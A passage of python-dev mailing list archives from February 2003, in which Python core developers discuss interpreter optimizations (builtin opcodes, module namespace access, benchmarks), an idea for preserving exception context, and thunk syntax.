    Neal> stack.  They are always followed by POP_TOP.  If the JUMP_IF_*
    Neal> removed the value, it would be one less trip through eval_frame
    Neal> loop (no POP_TOP).  I've got a patch for this which fixes 5 of the
    Neal> 8 cases where JUMP_IF_* are generated.  The problem with the
    Neal> remaining 3 cases is that a jump to a jump occurs.  By removing
    Neal> the jump to a jump, that should also help performance.

See my peephole optimizer reference in an earlier note which (used to)
handle such stuff.  Perhaps it should be dusted off.

Skip


From skip@pobox.com  Mon Feb  3 19:36:37 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 13:36:37 -0600
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <a05200f11ba647370799d@[63.120.19.221]>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
 <a05200f11ba647370799d@[63.120.19.221]>
Message-ID: <15934.50373.546850.48771@montanaro.dyndns.org>

    Dan> Really! Well, then, shall we raise the stakes, and add a cream pie
    Dan> (of the loser's choice) at ten paces to the bet? :)

Having had personal experience with the inverse relationship between geek
quotient and athletic prowess I suspect you might want to make that five
paces. ;-)

Skip


From nas@python.ca  Mon Feb  3 21:02:40 2003
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 3 Feb 2003 13:02:40 -0800
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302031918.h13JIE721173@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com>
Message-ID: <20030203210239.GA27481@glacier.arctrix.com>

Guido van Rossum wrote:
> I think that there could be some low-hanging fruit in inlining certain
> builtins (e.g. len, range, xrange) that as far as we know aren't
> shadowed by globals.  Is that what you call non-local namespace
> optimizations?

I meant continuing work started by Ping, Jeremy, and you on non-local
namespaces (something other than dicts).  Tim's suggestion of optimizing
function calls sounds like another good one.

  Neil


From skip@pobox.com  Mon Feb  3 20:56:56 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 14:56:56 -0600
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032037.h13Kb4621770@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
 <200302032037.h13Kb4621770@odiug.zope.com>
Message-ID: <15934.55192.159454.820850@montanaro.dyndns.org>

    Guido> I was thinking of adding appropriate new opcodes for a few
    Guido> builtins that are called a lot, like len.  This would be
    Guido> implemented using something like this:

    Guido>              case BUILTIN_LEN:
    ...

Would you special case those calls so that, in effect, __builtin__.len
couldn't be overridden by a "len" object in the globals or locals?

Skip


From guido@python.org  Mon Feb  3 21:16:13 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 16:16:13 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 14:56:56 CST."
 <15934.55192.159454.820850@montanaro.dyndns.org>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com>
 <15934.55192.159454.820850@montanaro.dyndns.org>
Message-ID: <200302032116.h13LGDc22113@odiug.zope.com>

>     Guido> I was thinking of adding appropriate new opcodes for a few
>     Guido> builtins that are called a lot, like len.  This would be
>     Guido> implemented using something like this:
> 
>     Guido>              case BUILTIN_LEN:
>     ...
> 
> Would you special case those calls so that, in effect, __builtin__.len
> couldn't be overridden by a "len" object in the globals or locals?

No, I would only generate a BUILTIN_LEN opcode if there was no local
or global variable 'len'.

A few days ago I proposed a restriction on assigning to an attribute
of a module that stores a new name in that module that is the same as
the name of a built-in; that was meant to outlaw people doing ugly
stuff like

   import random
   random.len = lambda x: len(x)-1
   print random.choice([1,2,3])

and expecting to affect the implementation of choice().

I don't think anybody would do this on purpose (or even by accident),
but the possibility exists, and I'd prefer to live without lying awake
about that case.

(We could make random.__dict__ read-only, like the new-style class
__dict__, if you worry about other ways of stuffing unexpected
variables inside it.  We could also avoid the optimization if there's
an exec statement anywhere in a module, since one could exec code that
says

  import __builtin__
  global len
  len = lambda x: __builtin__.len(x)-1

or one could find another way of outlawing such abominations
(including simply declaring that one shouldn't do that).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Feb  3 21:17:57 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 16:17:57 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 13:02:40 PST."
 <20030203210239.GA27481@glacier.arctrix.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com>
 <20030203210239.GA27481@glacier.arctrix.com>
Message-ID: <200302032117.h13LHvF22127@odiug.zope.com>

> I meant continuing work started by Ping, Jeremy, and you on non-local
> namespaces (something other than dicts).  Tim's suggestion of optimizing
> function calls sounds like another good one.

Ah, you mean these:

    - PEP 266  Optimizing Global Variable/Attribute Access  Montanaro
      PEP 267  Optimized Access to Module Namespaces        Hylton
      PEP 280  Optimizing access to globals                 van Rossum

Yes, that would be a good idea too.

And I suggest that we analyze pystone (or whatever benchmark we decide
to use).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Mon Feb  3 21:28:21 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 15:28:21 -0600
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032117.h13LHvF22127@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
 <20030203210239.GA27481@glacier.arctrix.com>
 <200302032117.h13LHvF22127@odiug.zope.com>
Message-ID: <15934.57077.190775.561526@montanaro.dyndns.org>

    Guido> And I suggest that we analyze pystone (or whatever benchmark we
    Guido> decide to use).

If you decide to use pystone, I'd argue you incorporate psyco into the
distribution and stick the following code right after the definition of
Proc8:

    try:
        import psyco
    except ImportError:
        pass
    else:
        psyco.bind(Proc8)

(I believe that's the correct psyco call and the correct function to
optimize.  It's been awhile.)

;-)

Skip


From guido@python.org  Mon Feb  3 21:29:25 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 16:29:25 -0500
Subject: [Python-Dev] Idea for avoiding exception masking
In-Reply-To: Your message of "Tue, 28 Jan 2003 19:22:34 EST."
 <009401c2c72c$8628bb60$e60ea044@oemcomputer>
References: <009401c2c72c$8628bb60$e60ea044@oemcomputer>
Message-ID: <200302032129.h13LTQO22255@odiug.zope.com>

> When working on the sets module, a bug was found
> where trapping an exception (a TypeError for a mutable
> argument passed to a dictionary) resulted in masking
> other errors that should have been passed through
> (potential TypeErrors in the called iterator for example).
> 
> Now, Walter is working on a bug for map(), zip(), and
> reduce() where errors in the getiter() call are being
> trapped, reported as TypeError (for non-iterability),
> but potentially masking other real errors in 
> a __iter__ routine.  The current proposed solution is
> to remove the PyErr_Format call so that the underlying
> error message gets propagated up its original form.
> The downside of that approach is that it loses information
> about which argument caused the error.
> 
> So, here's the bright idea.  Add a function, 
> PyErr_FormatAppend, that leaves the original message
> intact but allows additional information to be added
> (like the name of the called function, identification
> of which argument triggered the error, a clue as
> to how many iterations had passed, or anything else
> that makes the traceback more informative).
> 
> Python code has a number of cases where a higher
> level routine traps an exception and reraises it with
> new information and losing the lower level error
> detail in the process.

Was a conclusion reached in this thread?  It seems a good idea.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jeremy@zope.com  Mon Feb  3 21:29:07 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: Mon, 3 Feb 2003 16:29:07 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032037.h13Kb4621770@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
 <200302032037.h13Kb4621770@odiug.zope.com>
Message-ID: <15934.57123.115582.954716@slothrop.zope.com>

My recollection from Skip's rattlesnake paper and from a similar paper
about peephole optimizations in Interlisp is that we'll see perhaps a
5-10% speedup by focusing on the small stuff.

I expect that the builtin-specific opcodes will do more than that, but
the module-level namespace still ends up being expensive to use and
arbitrary module globals are probably called as often as any other
global.  It'd be interesting to measure how many of the LOAD_GLOBAL
calls are for builtin names using some simple benchmarks.

Jeremy




From altis@semi-retired.com  Mon Feb  3 21:31:19 2003
From: altis@semi-retired.com (Kevin Altis)
Date: Mon, 3 Feb 2003 13:31:19 -0800
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032117.h13LHvF22127@odiug.zope.com>
Message-ID: <KJEOLDOPMIDKCMJDCNDPGELOCNAA.altis@semi-retired.com>

> From: Guido van Rossum
>
> > I meant continuing work started by Ping, Jeremy, and you on non-local
> > namespaces (something other than dicts).  Tim's suggestion of optimizing
> > function calls sounds like another good one.
>
> Ah, you mean these:
>
>     - PEP 266  Optimizing Global Variable/Attribute Access  Montanaro
>       PEP 267  Optimized Access to Module Namespaces        Hylton
>       PEP 280  Optimizing access to globals                 van Rossum
>
> Yes, that would be a good idea too.
>
> And I suggest that we analyze pystone (or whatever benchmark we decide
> to use).

Don't forget Marc-Andre Lemburg's pybench

 http://www.egenix.com/files/python/

 http://www.egenix.com/files/python/pybench-1.0.zip

ka



From pyth@devel.trillke.net  Mon Feb  3 21:40:29 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 22:40:29 +0100
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032116.h13LGDc22113@odiug.zope.com>; from guido@python.org on Mon, Feb 03, 2003 at 04:16:13PM -0500
References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com>
Message-ID: <20030203224029.G5939@prim.han.de>

Guido van Rossum wrote:
> >     Guido> I was thinking of adding appropriate new opcodes for a few
> >     Guido> builtins that are called a lot, like len.  This would be
> >     Guido> implemented using something like this:
> > 
> >     Guido>              case BUILTIN_LEN:
> >     ...
> > 
> > Would you special case those calls so that, in effect, __builtin__.len
> > couldn't be overridden by a "len" object in the globals or locals?
> 
> No, I would only generate a BUILTIN_LEN opcode if there was no local
> or global variable 'len'.
> 
> A few days ago I proposed a restriction on assigning to an attribute
> of a module that stores a new name in that module that is the same as
> the name of a built-in; that was meant to outlaw people doing ugly
> stuff like
> 
>    import random
>    random.len = lambda x: len(x)-1
>    print random.choice([1,2,3])
> 
> and expecting to affect the implementation of choice().
> 
> I don't think anybody would do this on purpose (or even by accident),
> but the possibility exists, and I'd prefer to live without lying awake
> about that case.
> 
> (We could make random.__dict__ read-only, like the new-style class
> __dict__, if you worry about other ways of stuffing unexpected
> variables inside it.

do you mean specifically random.__dict__ or any modules dict? 
If the latter there would be quite some breakage.  It is at least
used for monkey patching modules to make them "unittestable" which
is a valid use case IMO.  Maybe module's dicts could be "frozen" 
by default and this could be explicitely turned off (via a sys-hook).

    holger


From guido@python.org  Mon Feb  3 21:58:54 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 16:58:54 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 22:40:29 +0100."
 <20030203224029.G5939@prim.han.de>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com>
 <20030203224029.G5939@prim.han.de>
Message-ID: <200302032158.h13Lwsh22396@odiug.zope.com>

> > >     Guido> I was thinking of adding appropriate new opcodes for a few
> > >     Guido> builtins that are called a lot, like len.  This would be
> > >     Guido> implemented using something like this:
> > > 
> > >     Guido>              case BUILTIN_LEN:
> > >     ...
> > > 
> > > Would you special case those calls so that, in effect, __builtin__.len
> > > couldn't be overridden by a "len" object in the globals or locals?
> > 
> > No, I would only generate a BUILTIN_LEN opcode if there was no local
> > or global variable 'len'.
> > 
> > A few days ago I proposed a restriction on assigning to an attribute
> > of a module that stores a new name in that module that is the same as
> > the name of a built-in; that was meant to outlaw people doing ugly
> > stuff like
> > 
> >    import random
> >    random.len = lambda x: len(x)-1
> >    print random.choice([1,2,3])
> > 
> > and expecting to affect the implementation of choice().
> > 
> > I don't think anybody would do this on purpose (or even by accident),
> > but the possibility exists, and I'd prefer to live without lying awake
> > about that case.
> > 
> > (We could make random.__dict__ read-only, like the new-style class
> > __dict__, if you worry about other ways of stuffing unexpected
> > variables inside it.
> 
> do you mean specifically random.__dict__ or any modules dict? 

Any module's dict.

> If the latter there would be quite some breakage.  It is at least
> used for monkey patching modules to make them "unittestable" which
> is a valid use case IMO.

Why would this be done by patching the module's __dict__ rather than
assigning to attributes of the module?

> Maybe module's dicts could be "frozen" by default and this could be
> explicitely turned off (via a sys-hook).

What I proposed was only closing off write access to the __dict__ so
that the setattr code for type module can implement certain
restrictions (e.g. no assignment to attributes named "len").

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bac@OCF.Berkeley.EDU  Mon Feb  3 22:11:51 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 3 Feb 2003 14:11:51 -0800 (PST)
Subject: [Python-Dev] Idea for avoiding exception masking
In-Reply-To: <200302032129.h13LTQO22255@odiug.zope.com>
References: <009401c2c72c$8628bb60$e60ea044@oemcomputer>
 <200302032129.h13LTQO22255@odiug.zope.com>
Message-ID: <Pine.SOL.4.53.0302031410440.3558@death.OCF.Berkeley.EDU>

[Guido van Rossum]

> Was a conclusion reached in this thread?  It seems a good idea.
>

Unless I overlooked something when I did the summary for this thread,
nope.  I think Ping's idea was viewed as good and that is as far as it
got.

-Brett


From bac@OCF.Berkeley.EDU  Mon Feb  3 22:16:25 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 3 Feb 2003 14:16:25 -0800 (PST)
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032037.h13Kb4621770@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>  <200302032037.h13Kb4621770@odiug.zope.com>
Message-ID: <Pine.SOL.4.53.0302031412430.3558@death.OCF.Berkeley.EDU>

[Guido van Rossum]

> I was thinking of adding appropriate new opcodes for a few builtins
> that are called a lot, like len.  This would be implemented using
> something like this:
>

Wasn't there also a suggestion (I think Christian made just before Minimal
Python was announced) to have the parser know what built-ins were and thus
just inline the code?

I think it's time the eval loop and I to get acquianted...

-Brett


From pyth@devel.trillke.net  Mon Feb  3 22:20:51 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 23:20:51 +0100
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032158.h13Lwsh22396@odiug.zope.com>; from guido@python.org on Mon, Feb 03, 2003 at 04:58:54PM -0500
References: <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com>
Message-ID: <20030203232051.K5939@prim.han.de>

Guido van Rossum wrote:
> > > (We could make random.__dict__ read-only, like the new-style class
> > > __dict__, if you worry about other ways of stuffing unexpected
> > > variables inside it.
> > 
> > do you mean specifically random.__dict__ or any modules dict? 
> 
> Any module's dict.
> 
> > If the latter there would be quite some breakage.  It is at least
> > used for monkey patching modules to make them "unittestable" which
> > is a valid use case IMO.
> 
> Why would this be done by patching the module's __dict__ rather than
> assigning to attributes of the module?

I shortcircuited that with a module's readonly __dict__ you couldn't
do a setattr on the module anymore.  Which is not neccessarily so. 

thanks,
    
    holger


From walter@livinglogic.de  Mon Feb  3 22:22:53 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 03 Feb 2003 23:22:53 +0100
Subject: [Python-Dev] Idea for avoiding exception masking
In-Reply-To: <Pine.SOL.4.53.0302031410440.3558@death.OCF.Berkeley.EDU>
References: <009401c2c72c$8628bb60$e60ea044@oemcomputer>  <200302032129.h13LTQO22255@odiug.zope.com> <Pine.SOL.4.53.0302031410440.3558@death.OCF.Berkeley.EDU>
Message-ID: <3E3EEBBD.8060302@livinglogic.de>

Brett Cannon wrote:

> [Guido van Rossum]
> 
>>Was a conclusion reached in this thread?  It seems a good idea.
> 
> Unless I overlooked something when I did the summary for this thread,
> nope.  I think Ping's idea was viewed as good and that is as far as it
> got.

We briefly discussed consequences for the C API and exception
normalization.

I looked through the source, and on first glance this seems to
require more than just a little mindless patch (at least with
my knowledge ;))

Bye,
    Walter Dörwald



From jeremy@zope.com  Mon Feb  3 22:23:39 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: Mon, 3 Feb 2003 17:23:39 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032158.h13Lwsh22396@odiug.zope.com>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
 <200302032037.h13Kb4621770@odiug.zope.com>
 <15934.55192.159454.820850@montanaro.dyndns.org>
 <200302032116.h13LGDc22113@odiug.zope.com>
 <20030203224029.G5939@prim.han.de>
 <200302032158.h13Lwsh22396@odiug.zope.com>
Message-ID: <15934.60395.439261.853916@slothrop.zope.com>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

  >> do you mean specifically random.__dict__ or any modules dict?

  GvR> Any module's dict.

  >> If the latter there would be quite some breakage.  It is at least
  >> used for monkey patching modules to make them "unittestable"
  >> which is a valid use case IMO.

  GvR> Why would this be done by patching the module's __dict__ rather
  GvR> than assigning to attributes of the module?

  >> Maybe module's dicts could be "frozen" by default and this could
  >> be explicitely turned off (via a sys-hook).

  GvR> What I proposed was only closing off write access to the
  GvR> __dict__ so that the setattr code for type module can implement
  GvR> certain restrictions (e.g. no assignment to attributes named
  GvR> "len").

I'd certainly like that feature, except for the times I'd want to
circumvent it.

On many occasions I have externally patched a module's namespace for
debugging.  It's been really convenient to replace some function with
a wrapper that does some logging or updates a table tracking currently
used resources.  I've done the same with builtin open/file.  As you
noted, it seems less useful to override other builtins for this purpose.

I'd suggest that frozen module namespaces by a feature of -O, except
that I never use -O.

Jeremy



From greg@cosc.canterbury.ac.nz  Mon Feb  3 22:28:26 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 04 Feb 2003 11:28:26 +1300 (NZDT)
Subject: [Python-Dev] thunks
In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <200302032228.h13MSQV03118@oma.cosc.canterbury.ac.nz>

Guido:

> If we want to support thunks that blend into the scope of their
> environment as well as thunks that introduce a new local scope, here's
> one possible way to do it:

Do we actually want both kinds of thunk? Why, exactly?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Mon Feb  3 22:29:32 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 04 Feb 2003 11:29:32 +1300 (NZDT)
Subject: [Python-Dev] thunks
In-Reply-To: <Pine.LNX.4.44.0302032006040.6876-100000@rnd.onego.ru>
Message-ID: <200302032229.h13MTWY03140@oma.cosc.canterbury.ac.nz>

Roman Suzi <rnd@onego.ru>:

> code_thunk = ```
> if Guido.let_it_fly():
>   print "This is my syntax for inline code block"
> ```

-1, too ugly!

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From python@rcn.com  Mon Feb  3 22:30:38 2003
From: python@rcn.com (Raymond Hettinger)
Date: Mon, 3 Feb 2003 17:30:38 -0500
Subject: [Python-Dev] Idea for avoiding exception masking
Message-ID: <008301c2cbd3$e0d3a560$550ea044@oemcomputer>

[Raymond]
> > So, here's the bright idea.  Add a function, 
> > PyErr_FormatAppend, that leaves the original message
> > intact but allows additional information to be added
> > (like the name of the called function, identification
> > of which argument triggered the error, a clue as
> > to how many iterations had passed, or anything else
> > that makes the traceback more informative).
> > 
> > Python code has a number of cases where a higher
> > level routine traps an exception and reraises it with
> > new information and losing the lower level error
> > detail in the process.

[GvR] 
> Was a conclusion reached in this thread?  It seems a good idea.

We ended-up with two ways to go:

1. The most lightweight, least invasive approach was one the
one first proposed.  It allows extra information to be tacked
onto the error message string.  All other mechanisms work
the same way.

2. The more involved approach is keep generate an exception
as keep the original one as an attribute, "the root cause".  This
allows more information to be retained but raises a number
of issues about how to display the result, whether the 
original exception is catchable, whether we want to intercept
all exceptions, etc.
 
The first approach is the "simplest thing that could possibly work".
It is easy to implement, understand, and use.
 
The second one would need to be teased out a lot more than it
has been.
 
 
 Raymond Hettinger


From barry@python.org  Mon Feb  3 22:31:14 2003
From: barry@python.org (Barry A. Warsaw)
Date: Mon, 3 Feb 2003 17:31:14 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
References: <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
 <200302032037.h13Kb4621770@odiug.zope.com>
 <15934.55192.159454.820850@montanaro.dyndns.org>
 <200302032116.h13LGDc22113@odiug.zope.com>
 <20030203224029.G5939@prim.han.de>
 <200302032158.h13Lwsh22396@odiug.zope.com>
 <15934.60395.439261.853916@slothrop.zope.com>
Message-ID: <15934.60850.640072.519404@gargle.gargle.HOWL>

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

    JH> On many occasions I have externally patched a module's
    JH> namespace for debugging.  It's been really convenient to
    JH> replace some function with a wrapper that does some logging or
    JH> updates a table tracking currently used resources.  I've done
    JH> the same with builtin open/file.  As you noted, it seems less
    JH> useful to override other builtins for this purpose.

I've done the same, and when I've needed, it's been incredibly handy.
Rare, but useful.  Then again, I've also only done this with open(),
so maybe something like an open() hook would suffice.  I can imagine
some of the other built-ins /might/ be useful to debuggingly replace,
but that's just speculation on my part, and may be yagni.

-Barry


From guido@python.org  Mon Feb  3 22:36:20 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 17:36:20 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 14:16:25 PST."
 <Pine.SOL.4.53.0302031412430.3558@death.OCF.Berkeley.EDU>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com>
 <Pine.SOL.4.53.0302031412430.3558@death.OCF.Berkeley.EDU>
Message-ID: <200302032236.h13MaKx22964@odiug.zope.com>

> Wasn't there also a suggestion (I think Christian made just before
> Minimal Python was announced) to have the parser know what built-ins
> were and thus just inline the code?

Most builtins don't have an inline version unless you add new opcodes
that invoke e.g. PyObject_Size.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jeremy@zope.com (Jeremy Hylton)  Mon Feb  3 22:38:47 2003
From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton)
Date: Mon, 3 Feb 2003 17:38:47 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <15934.60850.640072.519404@gargle.gargle.HOWL>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
 <200302032037.h13Kb4621770@odiug.zope.com>
 <15934.55192.159454.820850@montanaro.dyndns.org>
 <200302032116.h13LGDc22113@odiug.zope.com>
 <20030203224029.G5939@prim.han.de>
 <200302032158.h13Lwsh22396@odiug.zope.com>
 <15934.60395.439261.853916@slothrop.zope.com>
 <15934.60850.640072.519404@gargle.gargle.HOWL>
Message-ID: <15934.61303.943007.67442@slothrop.zope.com>

>>>>> "BAW" == Barry A Warsaw <barry@python.org> writes:

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

  JH> On many occasions I have externally patched a module's namespace
  JH> for debugging.  It's been really convenient to replace some
  JH> function with a wrapper that does some logging or updates a
  JH> table tracking currently used resources.  I've done the same
  JH> with builtin open/file.  As you noted, it seems less useful to
  JH> override other builtins for this purpose.

  BAW> I've done the same, and when I've needed, it's been incredibly
  BAW> handy.  Rare, but useful.  Then again, I've also only done this
  BAW> with open(), so maybe something like an open() hook would
